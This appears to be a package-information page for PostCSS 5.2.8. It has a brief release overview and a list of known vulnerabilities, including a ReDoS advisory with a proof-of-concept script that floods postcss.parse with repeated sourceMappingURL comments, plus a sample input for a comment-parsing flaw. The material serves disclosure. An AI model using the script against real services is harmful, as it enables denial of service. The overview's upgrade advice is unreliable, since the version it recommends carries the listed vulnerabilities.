PostCSS version 5.2.8 represents a minor update to the popular tool for transforming styles with JavaScript plugins, succeeding version 5.2.7. A key element for developers to note is the unchanged nature of core dependencies; both versions rely on the same versions of essential packages like chalk, js-base64, source-map, and supports-color. This indicates that the fundamental API and core functionalities remain consistent between the two versions, reducing the risk of breaking changes for existing projects.
The devDependencies, crucial for development and testing, also remain identical. This suggests that the update primarily focuses on internal improvements, bug fixes, or minor enhancements that didn't necessitate modifications to the toolchain. Developers can infer a smooth upgrade path, with minimal disruption and no need to update their development environment or testing configurations.
While the core and development dependencies display no alterations, the difference in release dates – December 26, 2016, for version 5.2.8 and December 24, 2016, for version 5.2.7 – suggests a rapid release cycle. This points to a possible critical bug fix or a small refinement that the PostCSS team deemed important enough for a quick turnaround. For developers, this instills confidence in the project's maintenance and responsiveness. Ultimately, developers interested in the most recent fixes and refinements should upgrade to version 5.2.8 for the best experience without encountering potential issues addressed since 5.2.7.
All the vulnerabilities related to the version 5.2.8 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.